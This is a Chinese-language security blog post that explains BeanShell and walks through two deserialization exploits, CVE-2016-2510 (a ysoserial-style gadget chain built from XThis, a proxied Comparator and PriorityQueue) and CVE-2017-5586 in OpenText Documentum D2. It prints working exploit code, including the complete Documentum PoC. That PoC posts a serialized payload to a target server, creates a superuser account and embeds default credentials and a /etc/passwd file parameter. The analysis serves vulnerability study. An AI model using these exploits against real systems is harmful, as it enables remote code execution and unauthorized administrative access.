前言:
首先我们需要了解BeanShell具体是做什么:
BeanShell 是一种轻量级的可嵌入式脚本语言,用于在 Java 环境中执行脚本代码。它提供了一种简单、灵活的方式来扩展和定制 Java 应用程序的行为,允许开发人员动态地执行和评估脚本代码。
BeanShell 的一些主要功能和用途如下:
脚本执行:BeanShell 允许在 Java 程序中执行脚本代码,而无需预先编译为字节码。它提供了与 Java 类似的语法和语义,可以直接在脚本中使用 Java 类、方法和变量。开发人员可以使用 BeanShell 编写脚本来执行各种任务,如数据处理、算法实现、动态配置等。
动态扩展:BeanShell 具有动态扩展应用程序功能的能力。通过在应用程序中嵌入 BeanShell,开发人员可以允许用户在运行时提供脚本代码来扩展应用程序的行为。这样可以实现动态配置、动态加载类、动态生成代码等功能,提高应用程序的灵活性和可定制性。
软件测试:BeanShell 也可以用作软件测试的工具。开发人员可以编写 BeanShell 脚本来模拟测试场景和数据,执行自动化测试,验证应用程序的行为和正确性。由于 BeanShell 可以直接访问 Java 类库,因此可以方便地与现有的测试框架和工具集成。
学习和教育:由于 BeanShell 的简洁语法和与 Java 的紧密集成,它常被用于学习和教育领域。开发人员可以使用 BeanShell 来教授编程基础知识、演示算法实现、快速原型开发等。同时,学生们也可以使用 BeanShell 来实践和测试他们的代码。
简单使用:
下面我们使用2.0.b4版本的BeanShell先编写点简单代码方便理解,pom添加:
<dependency> <groupId>org.beanshell</groupId> <artifactId>bsh-core</artifactId> <version>2.0b4</version> </dependency>
首先我们尝试使用BeanShell调用eval动态执行代码打开计算器:
public static void runcommand() throws EvalError {
// BeanShell payload
String payload = "new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start()";
//创建一个解析器
Interpreter interpre = new Interpreter();
//执行代码
interpre.eval(payload);
}
执行上述代码可以看到成功打开计算器, 然后大概看下调用的堆栈:
可以看到当我们调用interpre.eval的时候首先会对payload的内容修改成为一个简单的节点,如果内容错误无法初始化为节点树则报错,判断完成后会判断payload内容是一个函数还是一条执行代码,这里为执行代码,这样就会通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法,最后通过invokeObjectMethod和invokeMethod通过反射执行代码。
下面我们看通过函数是如何调用的:
public static void runfunction() throws EvalError {
String payload = "compare() {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();}";
try {
// 创建一个解析器
Interpreter interpreter = new Interpreter();
// 执行代码
interpreter.eval(payload);
// 调用 compare 方法
Object result = interpreter.eval("compare()");
System.out.println("Result: " + result);
} catch (Exception e) {
e.printStackTrace();
}
}
上述代码主要创建了compare方法然后通过eval调用payload中的compare方法进而弹出计算器,执行可以弹出计算器,同样来看下调用堆栈:
具体的执行方法其实也很简单,首先在执行 interpreter.eval(payload);的时候会判断payload内容,当内容是一个函数的时候,会将其放入NameSpace globalNameSpace;中,然后后面当我们再次通过interpreter.eval("compare()");调用compare方法的时候,首先会去globalNameSpace中去搜索方法名是否在列表中,如果列表中存在则和上面的差不多,通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法,最后通过invokeObjectMethod和invokeMethod通过反射执行代码。
这里我们知道我们可以通过BeanShell直接执行java代码,或者执行函数,这样就存在了问题,当我们把我们要执行的恶意代码放入globalNameSpace中,然后想办法找到一个公共接口进行调用就可以执行对应的恶意方法
反序列化CVE-2016-2510:
下面通过根据ysoserial的BeanShell1改编如下代码:
public static PriorityQueue getObject() throws Throwable {
// BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
Class xtclass = xt.getClass();
Field field = xtclass.getDeclaredField("invocationHandler");
field.setAccessible(true);
InvocationHandler handler = (InvocationHandler) field.get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Field field1 = priorityQueue.getClass().getDeclaredField("queue");
field1.setAccessible(true);
field1.set(priorityQueue, queue);
Field field2 = priorityQueue.getClass().getDeclaredField("size");
field2.setAccessible(true);
field2.set(priorityQueue, 2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
ByteArrayInputStream btin = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream objIn = new ObjectInputStream(btin);
objIn.readObject();
return priorityQueue;
}
下面对内容进行分析,首先我们编写payload,这里payload一定要用compare,至于为什么后面进行解释,通过调用Interpreter.eval我们可以将payload中的compare方法放入globalNameSpace中,如下图:
然后将Interpreter内容赋值给XThis,为什么这里需要使用XThis,主要是因为在XThis中使用了InvocationHandler invocationHandler = new Handler();这里我们需要知道InvocationHandler具体作用:
InvocationHandler 是 Java 中的一个接口,它定义了一个方法 invoke(),被用于处理动态代理对象方法的调用。当使用动态代理创建一个代理对象时,你可以指定一个 InvocationHandler 对象,用于处理代理对象上的方法调用。
通过将 Handler 对象分配给 InvocationHandler 类型的变量 invocationHandler,你为代理对象指定了一个处理器。这意味着当你通过代理对象调用方法时,实际的方法调用会被转发给这个 Handler 对象的 invoke() 方法进行处理。
具体地说,Handler 对象的 invoke() 方法将被调用,并传递以下参数:
proxy:代理对象,即通过动态代理生成的对象。
method:正在调用的方法对象。
args:传递给方法的参数。
在 invoke() 方法中,你可以根据需要编写自定义的逻辑来处理代理对象上的方法调用,例如记录日志、执行特定的操作或转发调用给实际的对象等。
由于invocationHandler中内容为上面的XThis,如下图,所以当我们调用invoke方法的时候即调用XThis.invoke:
查看XThis.invoke方法可以看到内部调用了XThis.invokeImpl:
在XThis.invokeImpl中我们通过参数和代码分析可以发下:
首先通过参数Method var2获取调用的方法,这里我们可以发现根据param_2可以获取到var4为compare,就是我们payload的方法,然后var8先不用管,这里只需要知道在获取类型,然后调用XThis.invokeMethod方法:
看下XThis.invokeMethod方法内容,这里可以看到参数为我们payload中的compare和一个数组,往后就很好理解了,具体内容就是我们payload中的内容compare(Object foo, Object bar),第一个参数为我们payload的方法名,后面的数组为compare中的参数,后面就是通过反射调用我们payload中的内容,就不往后跟了:
所以根据上面的分析就可以知道,我们只要能调用到XThis.invoke,并且invocationHandler为我们的添加的NameSpace内容即可,如何才能调用到XThis的invoke方法,那就要使用Proxy.newProxyInstance来添加一个动态代理,首先看看我们的攻击代码:
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
这里有些人可能要疑惑了,为什么动态代理要创建为Comparator类型,这里就是一个很关键的地方,首先我们看下Comparator内容,可以看到Comparator接口中有一个方法为compare(T o1, T o2),和我们payload中的compare相同,参数也相同,也就是说我们payload中的内容就是Comparator中compare方法的具体实现,
下我们就要想如何才能触发 XThis.invoke并且最终调用到compare,这里我们使用PriorityQueue,调用如下代码:
new PriorityQueue<Object>(2, comparator);
看下源码可以发现我们可以将我们精心构造的comparator赋值给PriorityQueue中的comparator:
然后添加两个数组内容到 PriorityQueue中即可,然后将PriorityQueue序列化,当反序列化的过程中即会弹出计算器,后面的过程都了解了,这里主要说下反序列化中如何进入comparator方法:
首先我们会进入到PriorityQueue的readObject方法,在内容主要调用链点在siftDownUsingComparator方法中,可以看到调用了comparator.compare,这里的comparator就是我们上面new的过程中构造的动态代理comparator:
最后看下堆栈:
大概总结下流程,首先我们需要编写一个payload,内容为实现Comparator的compare接口,第一步需要通过调用Interpreter.eval将payload添加到globalNameSpace中,即一个方法数组中,第二步创建XThis并通过反射获取其中的invocationHandler,第三步创建Comparator的动态代理并将创建的动态类放入PriorityQueue中,并添加两个参数,在反序列化的过程中首先进入readObject方法并通过siftDownUsingComparator来调用我们设置的动态类Comparator,然后会进入到动态类的invoke方法,即XThis的invoke方法,invoke方法中有Comparator类,compare方法名和前面添加的参数,后面的就很简单了,会在NameSpace中判断由于前面设置了compare,当调用的时候就会加载我们添加的compare方法,进而执行了任意命令,弹出了计算器。
CVE-2017-5586:
CVE-2017-5586本质上还是利用了BeanShell的漏洞,只是说其是通过BeanShell执行命令在数据库中添加数据,具体的payload如下:
/**
CVE Identifier: CVE-2017-5586
Vendor: OpenText
Affected products: Documentum D2 version 4.x
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Description: Document D2 contains vulnerable BeanShell (bsh) and Apache Commons libraries and accepts serialised data from untrusted sources, which leads to remote code execution
Proof of concept:
===================================8<===========================================
*/
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;
import bsh.Interpreter;
import bsh.XThis;
import com.documentum.fc.client.content.impl.ContentStoreResult;
import com.documentum.fc.client.impl.typeddata.TypedData;
/**
* @author Andrey B. Panfilov <andrey (at) panfilov (dot) tel [email concealed]>
*
* Code below creates superuser account in underlying Documentum repository
* usage: java DocumentumD2BeanShellPoc http://host:port/D2 <docbase_name> <user_name_to_create>
*
*/
@SuppressWarnings("unchecked")
public class DocumentumD2BeanShellPoc {
public static void main(String[] args) throws Exception {
String url = args[0];
String docbase = args[1];
String userName = args[2];
String payload = "compare(Object foo, Object bar) {new Interpreter()"
+ ".eval(\"try{com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()"
+ ".getSessionRegistry().getAllSessions().iterator().next();"
+ "session=com.emc.d2.api.D2Session.getAdminSession(session, false);"
+ "com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery("
+ "\\\"CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', "
+ "set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} "
+ "catch (Exception e) {}; return 0;\");}";
Interpreter interpreter = new Interpreter();
interpreter.eval(String.format(payload, userName, userName, userName));
XThis x = new XThis(interpreter.getNameSpace(), interpreter);
Comparator comparator = (Comparator) x.getInterface(new Class[] { Comparator.class, });
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] { 1, 1 };
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);
// actually we may send priorityQueue directly, but I want to hide
// deserialization stuff from stacktrace :)
Class cls = Class.forName("com.documentum.fc.client.impl.typeddata.ValueHolder");
Constructor ctor = cls.getConstructor();
ctor.setAccessible(true);
Object valueHolder = ctor.newInstance();
setFieldValue(valueHolder, "m_value", priorityQueue);
List valueHolders = new ArrayList();
valueHolders.add(valueHolder);
TypedData data = new TypedData();
setFieldValue(data, "m_valueHolders", valueHolders);
ContentStoreResult result = new ContentStoreResult();
setFieldValue(result, "m_attrs", data);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
for (Character c : "SAVED".toCharArray()) {
dos.write(c);
}
dos.write((byte) 124);
dos.flush();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(result);
oos.flush();
byte[] bytes = baos.toByteArray();
baos = new ByteArrayOutputStream();
dos = new DataOutputStream(baos);
dos.writeInt(bytes.length);
dos.write(bytes);
dos.flush();
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setRequestMethod("POST");
conn.setUseCaches(false);
conn.setDoOutput(true);
conn.getOutputStream().write(baos.toByteArray());
conn.connect();
System.out.println("Response code: " + conn.getResponseCode());
InputStream stream = conn.getInputStream();
byte[] buff = new byte[1024];
int count = 0;
while ((count = stream.read(buff)) != -1) {
System.out.write(buff, 0, count);
}
}
public static String makeUrl(String url) {
if (!url.endsWith("/")) {
url += "/";
}
return url + "servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd
&file_length=1000"
+ "&_username=dmc_wdk_preferences_owner&_password=webtop";
}
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
/**
===================================>8===========================================
Disclosure timeline:
2016.02.28: Vulnerability discovered
2017.01.25: CVE Identifier assigned
2017.02.01: Vendor contacted, no response
2017.02.15: Public disclosure
*/
分析下可以发现其主要执行了如下数据库语言:
CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);}
具体的漏洞点为com.documentum.fc.client.impl.typeddata.ValueHolder方法的m_value参数,感兴趣的可以分析下,原理和上面差别不大,只是调用链添加了一层
具体的漏洞地址为如下地址:
"servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd&file_length=1000&_username=dmc_wdk_preferences_owner&_password=webtop"
感兴趣的可以去分析下,也很简单,这里就不分析了。
总结:
分析下发现反序列化的调用链还是很巧妙的,通过动态代理和接口一步一步到我们的最终代码,只能说写这个调用链的技术确实厉害,好的poc和艺术品一样,值得好好研究学习